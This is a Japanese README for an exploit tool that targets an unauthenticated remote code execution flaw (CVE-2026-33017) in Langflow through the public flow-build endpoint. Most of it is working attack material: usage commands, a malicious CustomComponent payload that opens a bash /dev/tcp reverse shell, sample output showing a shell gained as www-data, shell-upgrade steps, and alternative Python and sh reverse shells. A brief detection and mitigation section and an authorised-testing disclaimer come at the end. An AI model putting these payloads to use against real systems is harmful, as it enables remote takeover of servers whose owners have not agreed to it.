
CVE-2026-33017 のエクスプロイト。Langflow における未認証の RCE であり、悪意のある CustomComponent ペイロードを介したリバースシェルを可能にします。
CVE-2026-33017 は、Langflow バージョン 1.8.2 以前における未認証のリモートコード実行(RCE)脆弱性です。この脆弱性は /api/v1/build_public_tmp/{flow_id}/flow エンドポイントに存在し、適切な認証が欠如しているため、攻撃者がグラフコンパイル処理中に任意のPythonコードを実行できます。
このエクスプロイトは教育目的および許可されたテスト目的のみに使用してください。コンピュータシステムへの不正アクセスは違法です。このツールは、自分が所有するシステム、またはテストする明示的な許可を得たシステムでのみ使用してください。
| バージョン | ステータス |
|---|
| <= 1.8.2 | 脆弱 |
| 1.9.0 | 修正済み |
この脆弱性は、validate.py の prepare_global_scope() 関数に起因します。この関数は、各 CustomComponent ノードのコードに対して適切なサンドボックス化を行わずに exec() を呼び出します。コンポーネントがロード/コンパイルされると、モジュールレベル(クラス定義の外側)のPythonコードが即座に実行されます。
POST /api/v1/build_public_tmp/{flow_id}/flow
特徴:
攻撃者 POST → build_public_tmp → start_flow_build() → create_graph() →
Graph.from_payload() → add_nodes_and_edges() → initialize() →
_instantiate_components_in_vertices() → instantiate_component() →
eval_custom_component_code() → prepare_global_scope() →
exec(compiled_code) ← 任意コード実行
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>
1. リバースシェル
# リスナーを起動
nc -lvnp 4444
# エクスプロイトを実行
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444
2. 短いオプションを使用
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
3. ローカルテスト
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
4. カスタムタイムアウト
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30
| 引数 | 短縮形 | 必須 | 説明 |
|---|---|---|---|
--url | -u | はい | ターゲットURL(例: https://target.langflow.com) |
--flow-id | -f | はい | 公開フローのフローID(UUID) |
--lhost | -lh | はい | リバースシェル用のリスナーIPアドレス |
--lport | -lp | はい | リバースシェル用のリスナーポート |
--timeout | -t | いいえ | HTTPタイムアウト(秒)(デフォルト: 15) |
このエクスプロイトは、モジュールレベルでコードを実行する悪意のある CustomComponent ノードを送信します:
import os
# これはコンポーネントのロード中に即座に実行されます
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={})
1. 攻撃者が POST リクエストを /api/v1/build_public_tmp/{flow_id}/flow に送信
2. Langflow が悪意のある CustomComponent を受信
3. prepare_global_scope() がコンポーネントコードに対して exec() を呼び出し
4. モジュールレベルのコードが即座に実行される
├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. リバースシェルが攻撃者のリスナーに接続
6. グラフのコンパイルは続行される(しかし手遅れ)
exec() 中に実行されるexec() が制限なしで呼び出されるdata パラメータが直接埋め込まれる$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444
============================================================
CVE-2026-33017 - Langflow 未認証RCE
============================================================
[!] リスナーが実行されていることを確認してください:
nc -lvnp 4444
[+] ターゲットURL: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] エクスプロイトペイロードを送信中...
[+] ステータスコード: 200
[+] エクスプロイトが正常に送信されました!
[+] ジョブID: abc123-def456-789ghi
[*] リスナーでリバースシェルを確認してください!
[*] nc -lvnp 4444
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$
リバースシェルを取得したら:
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# または script を使用
script /dev/null -c bash
# Ctrl+Z でバックグラウンドに
# その後実行:
stty raw -echo
fg
reset
export TERM=xterm
リバースシェルの代わりに任意のコマンドを実行するようにスクリプトを変更:
# build_payload() 関数内:
return f"""import os
_x = os.system("{command}")
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display_name="X"
outputs=[Output(display_name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={{}})
"""
1. Pythonソケットリバースシェル
import os, socket, subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
2. /bin/sh リバースシェル(bashが利用できない場合)
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")
/api/v1/build_public_tmp/*/flow へのPOSTリクエストos.system() または subprocess を含む不審な CustomComponent コード/tmp/rce-proof または /tmp/executed ファイル/build_public_tmp エンドポイントに適切な認証を追加CustomComponent のコード入力をサニタイズexec() 呼び出しに適切なサンドボックス化を実装| 日付 | イベント |
|---|---|
| 2026年3月 | 脆弱性が発見される |
| 2026年3月16日 | GitHub Advisory 公開 |
| 2026年4月 | 公開開示 |
| 2026年4月 | パッチリリース(1.9.0) |
このプロジェクトは教育目的のみです。自己責任で使用してください。
このソフトウェアは教育目的および許可されたセキュリティテスト目的のみで提供されます。著者は、このソフトウェアの誤用または損害について責任を負いません。ユーザーは、適用されるすべての法律および規制を遵守する責任を単独で負います。
セキュリティ研究のために🖤を込めて作成